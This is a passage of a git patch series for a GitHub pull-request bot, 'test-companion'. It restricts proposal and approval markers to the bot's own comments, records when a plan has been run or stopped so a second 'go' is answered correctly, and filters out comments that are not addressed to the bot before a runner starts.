assert.ok(found.body.includes("case one")) }) @@ -657,22 +661,22 @@ describe("findSupersededProposal — telling a stale plan from silence (FR-44)", * This is only about saying why. */ const proposal = (sha) => ({ - user: { type: "Bot" }, + user: { type: "Bot", login: US }, body: `a plan\n\n`, }) test("a proposal for an earlier commit is found, and its sha reported", () => { - const found = findSupersededProposal([proposal("aaaaaaa1")], "bbbbbbb2") + const found = findSupersededProposal([proposal("aaaaaaa1")], "bbbbbbb2", US) assert.equal(found?.sha, "aaaaaaa1") }) test("a proposal for THIS commit is not superseded — it is live", () => { - assert.equal(findSupersededProposal([proposal("aaaaaaa1")], "aaaaaaa1"), undefined) + assert.equal(findSupersededProposal([proposal("aaaaaaa1")], "aaaaaaa1", US), undefined) }) test("no proposal at all means nobody was talking to us", () => { - assert.equal(findSupersededProposal([], "aaaaaaa1"), undefined) - assert.equal(findSupersededProposal(undefined, "aaaaaaa1"), undefined) + assert.equal(findSupersededProposal([], "aaaaaaa1", US), undefined) + assert.equal(findSupersededProposal(undefined, "aaaaaaa1", US), undefined) }) test("the newest superseded proposal wins, not the first", () => { @@ -682,13 +686,14 @@ describe("findSupersededProposal — telling a stale plan from silence (FR-44)", { ...proposal("bbb22222"), id: 2 }, ], "ccc33333", + US, ) assert.equal(found?.sha, "bbb22222") }) test("a person quoting our marker cannot fake one", () => { const human = { user: { type: "User" }, body: "" } - assert.equal(findSupersededProposal([human], "bbbbbbb2"), undefined) + assert.equal(findSupersededProposal([human], "bbbbbbb2", US), undefined) }) }) @@ -712,25 +717,25 @@ describe("the proposal marker carries the JOB, not just the commit (FR-43)", () test("findProposal hands the workflow back, so the run can be pinned to it", () => { const comments = [ { - user: { type: "Bot" }, + user: { type: "Bot", login: US }, body: `a plan\n\n${proposalMarkerFor("abc1234", "someone", "fix")}`, }, ] - assert.equal(findProposal(comments, "abc1234")?.workflow, "fix") + assert.equal(findProposal(comments, "abc1234", undefined, US)?.workflow, "fix") }) /** Proposals written before the marker carried a job stay approvable. */ test("a marker with no workflow still matches, and reports none", () => { - const old = [{ user: { type: "Bot" }, body: "plan\n\n" }] - const found = findProposal(old, "abc1234") + const old = [{ user: { type: "Bot", login: US }, body: "plan\n\n" }] + const found = findProposal(old, "abc1234", undefined, US) assert.ok(found, "an older marker must still be found") assert.equal(found.workflow, undefined) assert.equal(found.requester, "someone") }) test("the requester still survives alongside the workflow", () => { - const comments = [{ user: { type: "Bot" }, body: proposalMarkerFor("abc1234", "someone", "test-pr") }] - const found = findProposal(comments, "abc1234") + const comments = [{ user: { type: "Bot", login: US }, body: proposalMarkerFor("abc1234", "someone", "test-pr") }] + const found = findProposal(comments, "abc1234", undefined, US) assert.equal(found.requester, "someone") assert.equal(found.workflow, "test-pr") }) @@ -772,17 +777,17 @@ describe("the two marker readers must not drift apart", () => { * fixture while the new marker tests only ever fed proposalMarkerFor() * output to findProposal. Nothing crossed the two. These do. */ - const bot = (body, id = 1) => ({ user: { type: "Bot" }, id, body: `a plan\n\n${body}` }) + const bot = (body, id = 1) => ({ user: { type: "Bot", login: US }, id, body: `a plan\n\n${body}` }) test("a marker written by proposalMarkerFor is found by BOTH readers", () => { const marker = proposalMarkerFor("def5678", "alice", "test-pr") - assert.equal(findProposal([bot(marker)], "def5678")?.workflow, "test-pr") - assert.equal(findSupersededProposal([bot(marker)], "aaa1111")?.sha, "def5678") + assert.equal(findProposal([bot(marker)], "def5678", undefined, US)?.workflow, "test-pr") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111", US)?.sha, "def5678") }) test("and the superseded reader still reports who asked", () => { const marker = proposalMarkerFor("def5678", "alice", "fix") - assert.equal(findSupersededProposal([bot(marker)], "aaa1111")?.requester, "alice") + assert.equal(findSupersededProposal([bot(marker)], "aaa1111", US)?.requester, "alice") }) test("every shape proposalMarkerFor can emit is readable by both", () => { @@ -793,8 +798,8 @@ describe("the two marker readers must not drift apart", () => { ["def5678", undefined, undefined], ]) { const marker = proposalMarkerFor(...args) - assert.ok(findProposal([bot(marker)], "def5678"), `findProposal missed ${marker}`) - assert.ok(findSupersededProposal([bot(marker)], "aaa1111"), `findSupersededProposal missed ${marker}`) + assert.ok(findProposal([bot(marker)], "def5678", undefined, US), `findProposal missed ${marker}`) + assert.ok(findSupersededProposal([bot(marker)], "aaa1111", US), `findSupersededProposal missed ${marker}`) } }) }) @@ -909,16 +914,16 @@ describe("a proposal marker search is built from literals, never from raw input" test("a sha with regex metacharacters matches itself and nothing else", () => { const nasty = "a.c*d+" const body = `` - assert.ok(findProposal([{ user: { type: "Bot" }, body, id: 1 }], nasty), "an escaped sha must still match itself") + assert.ok(findProposal([{ user: { type: "Bot", login: US }, body, id: 1 }], nasty, undefined, US), "an escaped sha must still match itself") // Unescaped, `a.c*d+` would also match "abcccd" — a proposal for another commit. const other = "" - assert.equal(findProposal([{ user: { type: "Bot" }, body: other, id: 2 }], nasty), undefined) + assert.equal(findProposal([{ user: { type: "Bot", login: US }, body: other, id: 2 }], nasty, undefined, US), undefined) }) test("a long run of repeats does not hang the search", () => { // The shape ReDoS reports are about. Linear here, so it returns at once. const started = Date.now() - findProposal([{ user: { type: "Bot" }, body: `` + const them = (body, id = 9) => ({ user: { type: "Bot", login: "github-actions[bot]" }, body, id, created_at: new Date().toISOString() }) + const us = (body, id = 1) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + + test("another bot's proposal is NOT approvable", () => { + assert.equal( + findProposal([them(marker("abc123"))], "abc123", Date.now(), US), + undefined, + "a foreign proposal reaching a live --yolo run is the whole point of this check", + ) + }) + + test("our own proposal still is", () => { + assert.ok(findProposal([us(marker("abc123"))], "abc123", Date.now(), US)) + }) + + test("another bot's superseded proposal is not ours to explain", () => { + assert.equal(findSupersededProposal([them(marker("old111"))], "new222", US), undefined) + assert.ok(findSupersededProposal([us(marker("old111"))], "new222", US)) + }) + + test("we never edit another bot's comment", () => { + const theirs = them(`something ${COMMENT_MARKER}`, 7) + assert.deepEqual(chooseCommentAction([theirs], US), { action: "create" }) + assert.deepEqual(chooseCommentAction([us(`ours ${COMMENT_MARKER}`, 7)], US), { action: "update", id: 7 }) + }) + + test("a human quoting the marker is still not us", () => { + const human = { user: { type: "User", login: "dev" }, body: marker("abc123"), id: 3, created_at: new Date().toISOString() } + assert.equal(findProposal([human], "abc123", Date.now(), US), undefined) + }) +}) + +/** + * Review of PR #3101, M5. + * + * Approving a proposal left no trace that it had been approved. Three things + * followed from that one gap: + * + * - a second `go` found the same proposal and ran the job again; + * - the proposal's in-progress check was never adopted, so it stayed pending + * beside the real run's check; + * - a day later the sweep said "that proposal went a day without a reply" + * about a proposal that had been approved and had already run. + * + * And `stop` had the same gap from the other side: the comment told people + * "say stop to drop it", and stop cancelled runs without dropping anything. + */ +describe("a proposal that has been used up is not waiting any more", () => { + const US = "test-companion[bot]" + const SHA = "abc1234" + const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + const proposal = () => ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "test-pr")}`, 1) + + test("approving it means a second go finds nothing", () => { + const after = [proposal(), ours(`ran it\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.ok(findProposal([proposal()], SHA, Date.now(), US), "precondition: it was approvable") + assert.equal(findProposal(after, SHA, Date.now(), US), undefined, "a second go must not rerun the job") + }) + + test("stopping it means a later go finds nothing either", () => { + const after = [proposal(), ours(`stopped\n\n${proposalDroppedMarkerFor(SHA)}`, 2)] + assert.equal(findProposal(after, SHA, Date.now(), US), undefined) + }) + + test("the sweep leaves an approved proposal alone", () => { + const old = { ...proposal(), created_at: new Date(Date.now() - 25 * 3600_000).toISOString() } + assert.equal(proposalNeedsDropping([old], SHA, Date.now(), US), true, "precondition: stale and unanswered") + const approved = [old, ours(`ran it\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.equal( + proposalNeedsDropping(approved, SHA, Date.now(), US), + false, + "telling someone their approved plan went unanswered is worse than saying nothing", + ) + }) + + test("the marker is per commit, so another commit's plan still stands", () => { + const after = [proposal(), ours(`ran it\n\n${proposalConsumedMarkerFor("deadbee")}`, 2)] + assert.ok(findProposal(after, SHA, Date.now(), US)) + }) +}) diff --git a/test-companion/test/starter.test.mjs b/test-companion/test/starter.test.mjs index a40dc0f..c1f13c9 100644 --- a/test-companion/test/starter.test.mjs +++ b/test-companion/test/starter.test.mjs @@ -252,3 +252,31 @@ describe("control events do not queue behind the run they act on", () => { assert.match(group, /github\.event\.issue\.number/) }) }) + +/** + * Review of PR #3101, M9. Every comment on every pull request booted a + * runner, cloned the repository, installed the CLI and signed in to + * BrowserStack — and then decided it had not been addressed. On a busy + * repository that is most of the runs, and each one also joined the + * concurrency group. + */ +describe("a comment that is not for us does not start a job", () => { + const starter = readFileSync(new URL("../starter-workflow.yml", import.meta.url), "utf8") + const job = starter.slice(starter.indexOf("jobs:"), starter.indexOf("steps:")) + + test("the job is filtered before any runner starts", () => { + assert.match(job, /if: >-/) + assert.match(job, /github\.event_name != 'issue_comment'/) + assert.match(job, /contains\(github\.event\.comment\.body, '@test-companion'\)/) + }) + + test("a bare approval still gets through — proposals ask for exactly that", () => { + assert.match(job, /startsWith\(github\.event\.comment\.body, 'go'\)/) + assert.match(job, /startsWith\(github\.event\.comment\.body, 'approve'\)/) + }) + + test("every other event is untouched, so pushes and schedules still run", () => { + // The filter opens with the non-comment case for exactly this reason. + assert.ok(job.indexOf("!= 'issue_comment'") < job.indexOf("@test-companion")) + }) +}) From cab123612d659311e1c2745ad0961c137f7bd982 Mon Sep 17 00:00:00 2001 From: Naimish Srivastava Date: Fri, 30 Oct 2026 19:29:03 +0530 Subject: [PATCH 18/18] fix: a second go says the plan was already run, not that the commit moved Co-Authored-By: Claude Opus 5 --- test-companion/src/main.mjs | 19 +++++++++++++ test-companion/src/report.mjs | 21 ++++++++++++++ test-companion/test/report.test.mjs | 44 +++++++++++++++++++++++++++++ 3 files changed, 84 insertions(+) diff --git a/test-companion/src/main.mjs b/test-companion/src/main.mjs index ab6999f..f155e13 100644 --- a/test-companion/src/main.mjs +++ b/test-companion/src/main.mjs @@ -38,6 +38,7 @@ import { renderApprovedPlan, proposalDroppedMarkerFor, proposalConsumedMarkerFor, + proposalAlreadyUsed, proposalNeedsDropping, flattenPages, hasApproverEdits, @@ -389,6 +390,8 @@ function finishSkipped(reason, detail) { "not-a-pull-request": "That comment was on an issue, not a pull request.", "not-addressed-to-us": "No @test-companion mention, so nothing was asked of Test Companion.", "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", + "proposal-already-run": "That plan was already approved and run on this commit.", + "proposal-dropped": "That plan was stopped, so there was nothing left to approve.", "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", "comment-edited": "Editing a comment does not start a run.", fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", @@ -639,6 +642,22 @@ function main() { // "no @test-companion mention" is both wrong and unhelpful — the reason // is sitting in the comment history (FR-44). if (plan.approvalOnly && !waiting) { + // Already approved, or already stopped. Checked BEFORE the + // superseded reading, which otherwise reaches for any older plan + // still in the thread and tells the person their branch moved on + // when it did not — seen on run 41067235005, where the commit was + // the same one the plan had just been approved and run against. + const used = proposalAlreadyUsed(comments, plan.context.sha, botLogin) + if (used) { + replyOnPr( + plan.context.pr, + used === "approved" + ? "That plan has already been approved and run on this commit — there is nothing left to approve. Ask me again and I will put up a fresh one." + : "That plan was stopped, so there is nothing left to approve. Ask me again and I will put up a fresh one.", + ) + finishSkipped(used === "approved" ? "proposal-already-run" : "proposal-dropped") + } + const stale = findSupersededProposal(comments, plan.context.sha, botLogin) if (stale) { replyOnPr( diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs index c2e3cb3..e707c87 100644 --- a/test-companion/src/report.mjs +++ b/test-companion/src/report.mjs @@ -332,6 +332,27 @@ export function renderProposal(body, sha, requester, workflow) { ].join("\n") } +/** + * Has the plan for THIS commit already been used, and how? + * + * Found by the live run that verified the consumed marker. A second `go` was + * correctly not re-run, but the reply said "that plan was for an earlier + * commit" — because with nothing waiting the caller reaches for a superseded + * proposal, and an older one from before the branch moved was still in the + * thread. The commit had not changed; the plan had been approved and run. + * + * Returns "approved" or "dropped" so the reply can say which, or undefined + * when the plan on this commit has not been used at all and the superseded + * reading is the right one after all. + */ +export function proposalAlreadyUsed(comments, sha, us) { + const want = String(sha ?? "").trim() + const mine = (comments ?? []).filter((c) => isOurs(c, us)) + if (mine.some((c) => (c.body ?? "").includes(proposalConsumedMarkerFor(want)))) return "approved" + if (mine.some((c) => (c.body ?? "").includes(proposalDroppedMarkerFor(want)))) return "dropped" + return undefined +} + /** * The proposal waiting on this commit, if there is one. * diff --git a/test-companion/test/report.test.mjs b/test-companion/test/report.test.mjs index d36d4b2..e811f05 100644 --- a/test-companion/test/report.test.mjs +++ b/test-companion/test/report.test.mjs @@ -15,6 +15,7 @@ import { renderProposal, proposalDroppedMarkerFor, proposalConsumedMarkerFor, + proposalAlreadyUsed, proposalNeedsDropping, flattenPages, renderExtraChecks, @@ -1057,3 +1058,46 @@ describe("a proposal that has been used up is not waiting any more", () => { assert.ok(findProposal(after, SHA, Date.now(), US)) }) }) + +/** + * Found by the live run that verified M5 (run 41067235005). + * + * The consumed marker worked — a second `go` did not rerun the job. But the + * REPLY was wrong: it said "that plan was for an earlier commit", because + * with nothing waiting the code reaches for a superseded proposal, and an + * older one from before the branch moved was still in the thread. + * + * The commit had not changed. The plan had been approved and run. Telling + * someone their branch moved on when it did not sends them looking for a + * problem that is not there. + */ +describe("a plan that was already used says so, rather than blaming the commit", () => { + const US = "test-companion[bot]" + const SHA = "97e02ad" + const ours = (body, id) => ({ user: { type: "Bot", login: US }, body, id, created_at: new Date().toISOString() }) + + test("an approved plan on THIS commit is reported as used", () => { + const comments = [ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1), ours(`ran\n\n${proposalConsumedMarkerFor(SHA)}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), "approved") + }) + + test("a dropped plan is distinguished from an approved one", () => { + const comments = [ours(`stopped\n\n${proposalDroppedMarkerFor(SHA)}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), "dropped") + }) + + test("an untouched plan is not 'used', so the superseded path still runs", () => { + const comments = [ours(`plan\n\n${proposalMarkerFor(SHA, "dev", "generate")}`, 1)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), undefined) + }) + + test("a marker for ANOTHER commit does not speak for this one", () => { + const comments = [ours(`ran\n\n${proposalConsumedMarkerFor("e55e2df")}`, 2)] + assert.equal(proposalAlreadyUsed(comments, SHA, US), undefined) + }) + + test("another bot cannot declare our plan used", () => { + const theirs = { user: { type: "Bot", login: "github-actions[bot]" }, body: proposalConsumedMarkerFor(SHA), id: 3 } + assert.equal(proposalAlreadyUsed([theirs], SHA, US), undefined) + }) +})